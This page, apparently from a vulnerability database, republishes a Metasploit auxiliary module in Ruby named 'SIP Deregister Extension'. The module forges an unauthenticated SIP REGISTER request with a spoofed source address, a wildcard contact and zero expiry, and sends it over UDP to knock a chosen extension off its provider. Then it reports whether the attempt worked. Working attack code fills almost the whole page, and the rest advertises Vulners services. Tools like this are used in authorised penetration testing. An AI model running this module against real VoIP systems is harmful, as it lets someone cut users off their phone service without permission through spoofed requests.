Lucene search
K

SIP Deregister Extension

🗓️ 31 Aug 2024 00:00:00Reported by Jay Turla, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 152 Views

This module attempts to deregister a SIP user from the provider, specifically targeting a given extension and domain, while also allowing the use of a specific SIP proxy

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Udp  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'SIP Deregister Extension',  
'Description' => %q{  
This module will attempt to deregister a SIP user from the provider. It  
has been tested successfully when the sip provider/server doesn't use REGISTER  
authentication.  
},  
'Author' => [ 'ChrisJohnRiley' ],  
'License' => MSF_LICENSE  
)  
  
deregister_udp_options  
register_options(  
[  
Opt::RPORT(5060),  
OptString.new('SRCADDR', [true, "The sip address the spoofed deregister request is coming from",'192.168.1.1']),  
OptString.new('EXTENSION', [true, "The specific extension or name to target", '100']),  
OptString.new('DOMAIN', [true, "Use a specific SIP domain", 'example.com'])  
])  
register_advanced_options(  
[  
OptAddress.new('SIP_PROXY_NAME', [false, "Use a specific SIP proxy", nil]),  
OptPort.new('SIP_PROXY_PORT', [false, "SIP Proxy port to use", 5060])  
])  
end  
  
  
def setup  
# throw argument error if extension or domain contain spaces  
if datastore['EXTENSION'].match(/\s/)  
raise ArgumentError, "EXTENSION cannot contain spaces"  
elsif datastore['DOMAIN'].match(/\s/)  
raise ArgumentError, "DOMAIN cannot contain spaces"  
end  
end  
  
def run_host(ip)  
  
begin  
  
src = datastore['SRCADDR']  
ext = datastore['EXTENSION']  
dom = datastore['DOMAIN']  
sphost = datastore['SIP_PROXY_NAME']  
spport = datastore['SIP_PROXY_PORT'] || 5060  
conn_string = "#{ext}@#{dom}"  
  
# set Route header if SIP_PROXY is set  
if not sphost.nil? and not sphost.empty?  
route = "Route: <sip:#{sphost}:#{spport};lr>\r\n"  
end  
  
connect_udp  
  
print_status("Sending deregistration packet to: #{conn_string}")  
print_status("Using SIP proxy #{sphost}:#{spport}") if route  
  
req = "REGISTER sip:#{dom} SIP/2.0" + "\r\n"  
req << route if route  
req << "Via: SIP/2.0/UDP #{src}" + "\r\n"  
req << "Max-Forwards: 70" + "\r\n"  
req << "To: \"#{ext}\"<sip:#{conn_string}>" + "\r\n"  
req << "From: \"#{ext}\"<sip:#{conn_string}>" + "\r\n"  
req << "Call-ID: #{(rand(100)+100)}#{ip}" + "\r\n"  
req << "CSeq: 1 REGISTER" + "\r\n"  
req << "Contact: *" + "\r\n"  
req << "Expires: 0" + "\r\n"  
req << "Content-Length: 0" + "\r\n\r\n"  
  
udp_sock.put(req)  
response = false  
  
while (r = udp_sock.recvfrom(65535, 3) and r[1])  
response = parse_reply(r)  
end  
  
# print error information if no response has been received  
# may be expected if spoofing the SRCADDR  
print_error("No response received from remote host") if not response  
  
rescue Errno::EACCES  
ensure  
disconnect_udp  
end  
  
end  
  
def parse_reply(pkt)  
# parse response to check if the ext was successfully de-registered  
  
if(pkt[1] =~ /^::ffff:/)  
pkt[1] = pkt[1].sub(/^::ffff:/, '')  
end  
  
resp = pkt[0].split(/\s+/)[1]  
rhost,rport = pkt[1], pkt[2]  
  
if(pkt[0] =~ /^To\:\s*(.*)$/i)  
testn = "#{$1.strip}".split(';')[0]  
end  
  
case resp.to_i  
when 401  
print_error("Unable to de-register #{testn} [401 Unauthorised]")  
when 403  
print_error("Unable to de-register #{testn} [403 Forbidden]")  
when 200  
print_good("#{testn} de-registered [200 OK]")  
else  
print_error("#{testn} : Undefined error code #{resp.to_i}")  
end  
  
return true # set response to true  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7.4High risk
Vulners AI Score7.4
152